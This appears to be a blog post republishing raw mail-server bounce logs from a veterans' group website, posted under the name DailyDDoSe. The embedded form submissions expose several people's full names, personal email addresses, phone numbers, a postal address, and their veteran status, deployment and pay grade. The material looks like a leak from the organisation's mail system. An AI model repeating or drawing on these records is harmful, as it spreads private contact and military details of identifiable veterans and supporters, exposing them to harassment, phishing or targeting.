monkian.dreamhost.com (
monkian.dreamhost.com [173.236.168.227]) by
crusty.g.dreamhost.com (Postfix) with ESMTP id 7B5F411DD9A; Mon, 27 Dec 2010 18:10:15 -0800 (PST) Received: by
monkian.dreamhost.com (Postfix, from userid 11823475) id 7EAE3491C; Mon, 27 Dec 2010 18:10:30 -0800 (PST) To: memberveterans () returningvet org Subject: ColinCooperIraq or Afghanistan Date: Tue, 28 Dec 2010 02:10:30 +0000 From: "memberveterans () returningvet org" Message-ID: X-Priority: 3 X-Mailer: PHPMailer (
phpmailer.sourceforge.net) [version 2.0.4] Reply-To: memberveterans () returningvet org MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/html; charset="UTF-8"
| Status | | | Veteran | | FIRST | | | Colin | | LAST | | | Cooper | | EMAIL | | | mailto:Colin.J.Cooper () hotmail com'>Colin.J.Cooper () hotmail com | | PHONE | | | 916-712-2746 | | ADDRESS | | | United States
View Larger Map; target='_blank' class='map-it-link'>Map It | | I AM A VETERAN OF | | | Iraq or Afghanistan | | RANK/PAY GRADE | | | E3 | | BRANCH OF SERVICE | | | | | CURRENT STATUS | | | | | TYPE OF SERVICE | | | |
|
--7B5F411DD9A.1293502219/crusty.g.dreamhost.com-- Return-Path: <> X-Original-To: returningvet () monkian dreamhost com Delivered-To: returningvet () monkian dreamhost com Received: from
crusty.g.dreamhost.com (
crusty.g.dreamhost.com [67.205.8.12]) by
monkian.dreamhost.com (Postfix) with ESMTP id BB0304918 for ; Tue, 28 Dec 2010 00:54:56 -0800 (PST) Received: by
crusty.g.dreamhost.com (Postfix) id 692DE11E156; Tue, 28 Dec 2010 00:54:41 -0800 (PST) Date: Tue, 28 Dec 2010 00:54:41 -0800 (PST) From: MAILER-DAEMON () crusty g dreamhost com (Mail Delivery System) Subject: Undelivered Mail Returned to Sender To: returningvet () monkian dreamhost com Auto-Submitted: auto-replied MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="E4A8111DD9A.1293526481/crusty.g.dreamhost.com" Content-Transfer-Encoding: 8bit Message-Id: <20101228085441.692DE11E156 () crusty g dreamhost com> This is a MIME-encapsulated message. --E4A8111DD9A.1293526481/crusty.g.dreamhost.com Content-Description: Notification Content-Type: text/plain; charset=us-ascii This is the mail system at host
crusty.g.dreamhost.com. I'm sorry to have to inform you that your message could not be delivered to one or more recipients. It's attached below. If you are a current customer of DreamHost, please contact our technical support team here
https://panel.dreamhost.com/support If you are not a customer please use our contact form at.
http://dreamhost.com/contact If you do so, please include this email in your support ticket. You can delete your own text from the attached returned message. Dreamhost Email Support : host
ASPMX.L.GOOGLE.COM[74.125.53.27] said: 550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1
http://mail.google.com/support/bin/answer.py?answer=6596 c4si33500359ict.89 (in reply to RCPT TO command) --E4A8111DD9A.1293526481/crusty.g.dreamhost.com Content-Description: Delivery report Content-Type: message/delivery-status Reporting-MTA: dns;
crusty.g.dreamhost.com X-Postfix-Queue-ID: E4A8111DD9A X-Postfix-Sender: rfc822; returningvet () monkian dreamhost com Arrival-Date: Tue, 28 Dec 2010 00:54:37 -0800 (PST) Final-Recipient: rfc822; memberveterans () returningvet org Original-Recipient: rfc822;memberveterans () returningvet org Action: failed Status: 5.1.1 Remote-MTA: dns;
ASPMX.L.GOOGLE.COM Diagnostic-Code: smtp; 550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1
http://mail.google.com/support/bin/answer.py?answer=6596 c4si33500359ict.89 --E4A8111DD9A.1293526481/crusty.g.dreamhost.com Content-Description: Undelivered Message Content-Type: message/rfc822 Content-Transfer-Encoding: 8bit Return-Path: Received: from
monkian.dreamhost.com (
monkian.dreamhost.com [173.236.168.227]) by
crusty.g.dreamhost.com (Postfix) with ESMTP id E4A8111DD9A; Tue, 28 Dec 2010 00:54:37 -0800 (PST) Received: by
monkian.dreamhost.com (Postfix, from userid 11823475) id 2359C491C; Tue, 28 Dec 2010 00:54:53 -0800 (PST) To: memberveterans () returningvet org Subject: DennisFranco Date: Tue, 28 Dec 2010 08:54:53 +0000 From: "memberveterans () returningvet org" Message-ID: X-Priority: 3 X-Mailer: PHPMailer (
phpmailer.sourceforge.net) [version 2.0.4] Reply-To: memberveterans () returningvet org MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/html; charset="UTF-8"
| Status | | | Supporter | | FIRST | | | Dennis | | LAST | | | Franco | | EMAIL | | | mailto:ninerman2002 () hotmail com'>ninerman2002 () hotmail com | | PHONE | | | 9257876537 | | ADDRESS | | | United States
View Larger Map; target='_blank' class='map-it-link'>Map It |
|
--E4A8111DD9A.1293526481/crusty.g.dreamhost.com-- Return-Path: <> X-Original-To: returningvet () monkian dreamhost com Delivered-To: returningvet () monkian dreamhost com Received: from
crusty.g.dreamhost.com (
crusty.g.dreamhost.com [67.205.8.12]) by
monkian.dreamhost.com (Postfix) with ESMTP id 2B2D5491A for ; Tue, 28 Dec 2010 10:16:27 -0800 (PST) Received: by
crusty.g.dreamhost.com (Postfix) id 921F111DC63; Tue, 28 Dec 2010 10:16:11 -0800 (PST) Date: Tue, 28 Dec 2010 10:16:11 -0800 (PST) From: MAILER-DAEMON () crusty g dreamhost com (Mail Delivery System) Subject: Undelivered Mail Returned to Sender To: returningvet () monkian dreamhost com Auto-Submitted: auto-replied MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="4285A11E171.1293560171/crusty.g.dreamhost.com" Content-Transfer-Encoding: 8bit Message-Id: <20101228181611.921F111DC63 () crusty g dreamhost com> This is a MIME-encapsulated message. --4285A11E171.1293560171/crusty.g.dreamhost.com Content-Description: Notification Content-Type: text/plain; charset=us-ascii This is the mail system at host
crusty.g.dreamhost.com. I'm sorry to have to inform you that your message could not be delivered to one or more recipients. It's attached below. If you are a current customer of DreamHost, please contact our technical support team here
https://panel.dreamhost.com/support If you are not a customer please use our contact form at.
http://dreamhost.com/contact If you do so, please include this email in your support ticket. You can delete your own text from the attached returned message. Dreamhost Email Support : host
ASPMX.L.GOOGLE.COM[72.14.213.27] said: 550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1
http://mail.google.com/support/bin/answer.py?answer=6596 l7si28526428wfa.100 (in reply to RCPT TO command) --4285A11E171.1293560171/crusty.g.dreamhost.com Content-Description: Delivery report Content-Type: message/delivery-status Reporting-MTA: dns;
crusty.g.dreamhost.com X-Postfix-Queue-ID: 4285A11E171 X-Postfix-Sender: rfc822; returningvet () monkian dreamhost com Arrival-Date: Tue, 28 Dec 2010 10:16:08 -0800 (PST) Final-Recipient: rfc822; memberveterans () returningvet org Original-Recipient: rfc822;memberveterans () returningvet org Action: failed Status: 5.1.1 Remote-MTA: dns;
ASPMX.L.GOOGLE.COM Diagnostic-Code: smtp; 550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1
http://mail.google.com/support/bin/answer.py?answer=6596 l7si28526428wfa.100 --4285A11E171.1293560171/crusty.g.dreamhost.com Content-Description: Undelivered Message Content-Type: message/rfc822 Content-Transfer-Encoding: 8bit Return-Path: Received: from
monkian.dreamhost.com (
monkian.dreamhost.com [173.236.168.227]) by
crusty.g.dreamhost.com (Postfix) with ESMTP id 4285A11E171; Tue, 28 Dec 2010 10:16:08 -0800 (PST) Received: by
monkian.dreamhost.com (Postfix, from userid 11823475) id B570F491D; Tue, 28 Dec 2010 10:16:23 -0800 (PST) To: memberveterans () returningvet org Subject: RyanBergIraq or Afghanistan Date: Tue, 28 Dec 2010 18:16:23 +0000 From: "memberveterans () returningvet org" Message-ID: <607bb898698e3f1f733b31d696b2036e> X-Priority: 3 X-Mailer: PHPMailer (
phpmailer.sourceforge.net) [version 2.0.4] Reply-To: memberveterans () returningvet org MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/html; charset="UTF-8"
| Status | | | Veteran | | FIRST | | | Ryan | | LAST | | | Berg | | EMAIL | | | mailto:ryan () whatfits org'>ryan () whatfits org | | PHONE | | | 5106845316 | | ADDRESS | | | PO BOX 1207
Berkeley 94701
United States
View Larger Map; target='_blank' class='map-it-link'>Map It | | I AM A VETERAN OF | | | Iraq or Afghanistan | | RANK/PAY GRADE | | | E5 | | BRANCH OF SERVICE | | | | | CURRENT STATUS | | | | | TYPE OF SERVICE | | | |
|
--4285A11E171.1293560171/crusty.g.dreamhost.com-- Return-Path: <> X-Original-To: returningvet () monkian dreamhost com Delivered-To: returningvet () monkian dreamhost com Received: from
crusty.g.dreamhost.com (
crusty.g.dreamhost.com [67.205.8.12]) by
monkian.dreamhost.com (Postfix) with ESMTP id 9289A491C for ; Tue, 28 Dec 2010 14:02:52 -0800 (PST) Received: by
crusty.g.dreamhost.com (Postfix) id E9A8D11E1AD; Tue, 28 Dec 2010 14:02:36 -0800 (PST) Date: Tue, 28 Dec 2010 14:02:36 -0800 (PST) From: MAILER-DAEMON () crusty g dreamhost com (Mail Delivery System) Subject: Undelivered Mail Returned to Sender To: returningvet () monkian dreamhost com Auto-Submitted: auto-replied MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="40E8711E158.1293573756/crusty.g.dreamhost.com" Content-Transfer-Encoding: 8bit Message-Id: <20101228220236.E9A8D11E1AD () crusty g dreamhost com> This is a MIME-encapsulated message. --40E8711E158.1293573756/crusty.g.dreamhost.com Content-Description: Notification Content-Type: text/plain; charset=us-ascii This is the mail system at host
crusty.g.dreamhost.com. I'm sorry to have to inform you that your message could not be delivered to one or more recipients. It's attached below. If you are a current customer of DreamHost, please contact our technical support team here
https://panel.dreamhost.com/support If you are not a customer please use our contact form at.
htPosted via email from DailyDDoSe
No comments:
Post a Comment